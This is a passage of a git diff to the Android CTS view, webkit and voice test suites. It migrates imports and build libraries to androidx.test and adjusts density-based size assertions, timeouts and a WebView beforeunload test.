 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 346a513..206ad86 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -61,11 +61,6 @@
 import android.os.Parcelable;
 import android.os.SystemClock;
 import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.format.DateUtils;
 import android.util.AttributeSet;
 import android.util.Log;
@@ -104,6 +99,12 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsMouseUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -1883,24 +1884,29 @@
     @Test
     public void testMeasure() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
+
+        float density = view.getContext().getResources().getDisplayMetrics().density;
+        int size1 = (int) (100 * density + 0.5);
+        int size2 = (int) (75 * density + 0.5);
+
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(100, view.getMeasuredWidth());
-        assertEquals(100, view.getMeasuredHeight());
+        assertEquals(size1, view.getMeasuredWidth());
+        assertEquals(size2, view.getMeasuredHeight());
 
         view.reset();
         mActivityRule.runOnUiThread(view::requestLayout);
         mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(100, view.getMeasuredWidth());
-        assertEquals(100, view.getMeasuredHeight());
+        assertEquals(size1, view.getMeasuredWidth());
+        assertEquals(size2, view.getMeasuredHeight());
 
         view.reset();
-        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(size2, size1);
         mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
         mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
-        assertEquals(200, view.getMeasuredWidth());
-        assertEquals(100, view.getMeasuredHeight());
+        assertEquals(size2, view.getMeasuredWidth());
+        assertEquals(size1, view.getMeasuredHeight());
     }
 
     @Test(expected=NullPointerException.class)
@@ -2585,11 +2591,15 @@
         final View view = mActivity.findViewById(R.id.mock_view);
         Rect rect = new Rect();
 
+        float density = view.getContext().getResources().getDisplayMetrics().density;
+        int size1 = (int) (100 * density + 0.5);
+        int size2 = (int) (75 * density + 0.5);
+
         assertTrue(view.getLocalVisibleRect(rect));
         assertEquals(0, rect.left);
         assertEquals(0, rect.top);
-        assertEquals(100, rect.right);
-        assertEquals(100, rect.bottom);
+        assertEquals(size1, rect.right);
+        assertEquals(size2, rect.bottom);
 
         final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
         mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
diff --git a/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java b/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
index 4aa7377..574d125 100644
--- a/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
@@ -29,17 +29,18 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewTreeObserver;
 import android.widget.Button;
 import android.widget.LinearLayout;
 import android.widget.ScrollView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/view/src/android/view/cts/View_AnimationTest.java b/tests/tests/view/src/android/view/cts/View_AnimationTest.java
index 81250ac..a70d01d 100644
--- a/tests/tests/view/src/android/view/cts/View_AnimationTest.java
+++ b/tests/tests/view/src/android/view/cts/View_AnimationTest.java
@@ -25,14 +25,15 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.animation.TranslateAnimation;
 import android.view.animation.cts.AnimationTestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java b/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
index 74c240b..2e0d19d 100644
--- a/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
+++ b/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
@@ -26,11 +26,12 @@
 
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.AbsSavedState;
 import android.view.View.BaseSavedState;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
index 8dfacf1..6b46cc2 100644
--- a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
+++ b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
@@ -25,10 +25,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.RippleDrawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.Button;
 import android.widget.EditText;
@@ -36,6 +32,11 @@
 import android.widget.LinearLayout;
 import android.widget.ListView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index 653d1ed..5b2395b 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -25,17 +25,18 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.Button;
 import android.widget.FrameLayout;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_IdsTest.java b/tests/tests/view/src/android/view/cts/View_IdsTest.java
index 200966b..94615d1 100644
--- a/tests/tests/view/src/android/view/cts/View_IdsTest.java
+++ b/tests/tests/view/src/android/view/cts/View_IdsTest.java
@@ -21,14 +21,15 @@
 import static org.junit.Assert.assertSame;
 
 import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.TextView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java b/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java
index 45fd8fa..1a05496 100644
--- a/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java
+++ b/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java
@@ -24,15 +24,16 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java b/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
index 833504e..a32ce59 100644
--- a/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
+++ b/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
@@ -20,12 +20,13 @@
 
 import android.app.Activity;
 import android.graphics.Rect;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java b/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
index cf97e37..08b5aa8 100644
--- a/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
+++ b/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
@@ -18,11 +18,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.View.MeasureSpec;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
index dd731cc..83872ec 100644
--- a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
+++ b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
@@ -37,11 +37,6 @@
 import android.app.Instrumentation;
 import android.graphics.Bitmap;
 import android.graphics.Color;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
@@ -49,6 +44,12 @@
 import android.widget.RelativeLayout;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java b/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
index 1e31b11..340b7e4 100644
--- a/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
@@ -18,10 +18,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.WindowManager.BadTokenException;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java b/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
index b829470..22f4386 100644
--- a/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
@@ -26,12 +26,13 @@
 import android.os.Binder;
 import android.os.IBinder;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannedString;
 import android.view.Gravity;
 import android.view.WindowManager;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/WindowTest.java b/tests/tests/view/src/android/view/cts/WindowTest.java
index 41ad595..84b5caa 100644
--- a/tests/tests/view/src/android/view/cts/WindowTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowTest.java
@@ -47,11 +47,6 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.ContextThemeWrapper;
@@ -72,6 +67,12 @@
 import android.widget.Button;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.After;
@@ -704,8 +705,6 @@
                 mPresentation.button1.getWidth() / 2,
                 mPresentation.button1.getY() + mPresentation.button1.getHeight() / 2);
         assertTrue(waitingSemaphore.tryAcquire(5, TimeUnit.SECONDS));
-
-        destroyPresentation();
     }
 
     private void checkPresentationButtonFocus(final boolean button1Focused,
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 4fc5e04..f1838e2 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -33,7 +33,6 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
@@ -47,10 +46,11 @@
 import android.view.cts.R;
 import android.widget.FrameLayout;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-
 public class CapturedActivity extends Activity {
     public static class TestResult {
         public int passFrames;
@@ -157,7 +157,7 @@
     }
 
     public long getCaptureDurationMs() {
-        return mOnEmbedded ? 100000 : 10000;
+        return mOnEmbedded ? 100000 : 50000;
     }
 
     public TestResult runTest(AnimationTestCase animationTestCase) throws Throwable {
@@ -175,7 +175,7 @@
             return testResult;
         }
 
-        final long timeOutMs = mOnEmbedded ? 125000 : 25000;
+        final long timeOutMs = mOnEmbedded ? 125000 : 62500;
         final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + getCaptureDurationMs();
         final long endDelayMs = endCaptureDelayMs + 1000;
 
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index 83481ee..af90300 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -23,9 +23,6 @@
 import static org.mockito.Mockito.mock;
 
 import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.textclassifier.SelectionEvent;
 import android.view.textclassifier.TextClassification;
 import android.view.textclassifier.TextClassificationContext;
@@ -34,6 +31,10 @@
 import android.view.textclassifier.TextLinks;
 import android.view.textclassifier.TextSelection;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
index fda0f90..d5b73ac 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
@@ -29,14 +29,15 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Icon;
 import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.textclassifier.TextClassification;
 import android.view.textclassifier.TextClassifier;
 import android.view.textclassifier.TextSelection;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index e0708ff..2af5e9f 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/voiceinteraction/AndroidManifest.xml b/tests/tests/voiceinteraction/AndroidManifest.xml
index b38909b..5d7c00f 100644
--- a/tests/tests/voiceinteraction/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/AndroidManifest.xml
@@ -43,7 +43,7 @@
               android:exported="true" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.voiceinteraction.cts"
                      android:label="CTS tests of android.voiceinteraction">
         <meta-data android:name="listener"
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
index 0b504d8..f19cf74 100644
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ b/tests/tests/voiceinteraction/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index 9409073..f81afaa 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/voicesettings/AndroidManifest.xml b/tests/tests/voicesettings/AndroidManifest.xml
index cf1fa1a..5ea6a84 100644
--- a/tests/tests/voicesettings/AndroidManifest.xml
+++ b/tests/tests/voicesettings/AndroidManifest.xml
@@ -35,7 +35,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.voicesettings.cts"
                      android:label="CTS tests of android.voicesettings">
         <meta-data android:name="listener"
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
index d53c52b..0d86bf8 100644
--- a/tests/tests/voicesettings/service/Android.mk
+++ b/tests/tests/voicesettings/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
index bb70293..76231b0 100644
--- a/tests/tests/webkit/Android.mk
+++ b/tests/tests/webkit/Android.mk
@@ -28,10 +28,10 @@
 
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
     ctstestserver \
-    ctstestrunner
+    ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index 21e116d..aa35162 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -71,7 +71,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.webkit.cts"
                      android:label="CTS tests of android.webkit">
         <meta-data android:name="listener"
diff --git a/tests/tests/webkit/assets/webkit/jsunload.html b/tests/tests/webkit/assets/webkit/jsunload.html
index f016eb7..593ecc9 100644
--- a/tests/tests/webkit/assets/webkit/jsunload.html
+++ b/tests/tests/webkit/assets/webkit/jsunload.html
@@ -22,9 +22,12 @@
             return "this message will be a hardcoded string in chrome.";
         }
         window.onbeforeunload = fireUnload;
+        window.onload = function() {
+            document.addEventListener("click", () => document.title = "touch received", false);
+            document.title = "listener added";
+        }
     </script>
     <body>
         javascript unload test
     </body>
 </html>
-
diff --git a/tests/tests/webkit/res/layout/webview_layout.xml b/tests/tests/webkit/res/layout/webview_layout.xml
index 7a0ed0d..d266d21 100644
--- a/tests/tests/webkit/res/layout/webview_layout.xml
+++ b/tests/tests/webkit/res/layout/webview_layout.xml
@@ -17,9 +17,9 @@
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:orientation="vertical"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content">
+    android:layout_height="match_parent">
 
     <WebView android:id="@+id/web_page"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content" />
+        android:layout_width="match_parent"
+        android:layout_height="match_parent" />
 </LinearLayout>
diff --git a/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java b/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
index 68d944b..2996c76 100644
--- a/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
+++ b/tests/tests/webkit/src/android/webkit/cts/TestHtmlConstants.java
@@ -69,6 +69,7 @@
     public static final String STOP_LOADING_URL = "webkit/test_stop_loading.html";
     public static final String BLANK_TAG_URL = "webkit/blank_tag.html";
     public static final String PAGE_WITH_LINK_URL = "webkit/page_with_link.html";
+    public static final String URL_IN_PAGE_WITH_LINK = "http://foo.com/";
     // Not a real page, just triggers a 404 response.
     public static final String NON_EXISTENT_PAGE_URL = "webkit/generate_404.html";
     public static final String BAD_IMAGE_PAGE_URL = "webkit/test_bad_image_url.html";
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 92573d8..fb66261 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -31,9 +31,19 @@
 
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
 
 public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
     private static final long TEST_TIMEOUT = 5000L;
+    private static final String JAVASCRIPT_UNLOAD = "javascript unload";
+    private static final String LISTENER_ADDED = "listener added";
+    private static final String TOUCH_RECEIVED = "touch received";
 
     private CtsTestServer mWebServer;
     private WebIconDatabase mIconDb;
@@ -201,34 +211,49 @@
         runWindowTest(false);
     }
 
+    // Note that test is still a little flaky. See b/119468441.
     public void testOnJsBeforeUnloadIsCalled() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
 
-        final MockWebChromeClient webChromeClient = new MockWebChromeClient();
-        mOnUiThread.setWebChromeClient(webChromeClient);
-
         final WebSettings settings = mOnUiThread.getSettings();
         settings.setJavaScriptEnabled(true);
         settings.setJavaScriptCanOpenWindowsAutomatically(true);
 
-        assertFalse(webChromeClient.hadOnJsBeforeUnload());
+        final BlockingQueue<String> pageTitleQueue = new ArrayBlockingQueue<>(3);
+        final SettableFuture<Void> onJsBeforeUnloadFuture = SettableFuture.create();
+        final MockWebChromeClient webChromeClientWaitTitle = new MockWebChromeClient() {
+            @Override
+            public void onReceivedTitle(WebView view, String title) {
+                super.onReceivedTitle(view, title);
+                pageTitleQueue.add(title);
+            }
 
-        mOnUiThread.loadUrlAndWaitForCompletion(mWebServer.getAssetUrl(TestHtmlConstants.JS_UNLOAD_URL));
+            @Override
+            public boolean onJsBeforeUnload(
+                WebView view, String url, String message, JsResult result) {
+                boolean ret = super.onJsBeforeUnload(view, url, message, result);
+                onJsBeforeUnloadFuture.set(null);
+                return ret;
+            }
+        };
+        mOnUiThread.setWebChromeClient(webChromeClientWaitTitle);
 
+        mOnUiThread.loadUrlAndWaitForCompletion(
+            mWebServer.getAssetUrl(TestHtmlConstants.JS_UNLOAD_URL));
+
+        assertEquals(JAVASCRIPT_UNLOAD, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertEquals(LISTENER_ADDED, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
         // Send a user gesture, required for unload to execute since WebView version 60.
         tapWebView();
+        assertEquals(TOUCH_RECEIVED, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
 
         // unload should trigger when we try to navigate away
-        mOnUiThread.loadUrlAndWaitForCompletion(mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL));
+        mOnUiThread.loadUrlAndWaitForCompletion(
+            mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL));
 
-        new PollingCheck(TEST_TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return webChromeClient.hadOnJsBeforeUnload();
-            }
-        }.run();
+        waitForFuture(onJsBeforeUnloadFuture);
     }
 
     public void testOnJsAlert() throws Exception {
@@ -337,6 +362,20 @@
         getInstrumentation().waitForIdleSync();
     }
 
+    // TODO(ctzsm): Remove this method and replace its usage when we have it in a util class.
+    private static <T> T waitForFuture(Future<T> future) throws Exception {
+        try {
+            return future.get(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (ExecutionException e) {
+            Throwable cause = e.getCause();
+            if (cause instanceof Error)
+                throw(Error) cause;
+            if (cause instanceof RuntimeException)
+                throw(RuntimeException) cause;
+            throw new RuntimeException(cause);
+        }
+    }
+
     private class MockWebChromeClient extends WaitForProgressClient {
         private boolean mHadOnProgressChanged;
         private boolean mHadOnReceivedTitle;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index ae875a5..d1993dc 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
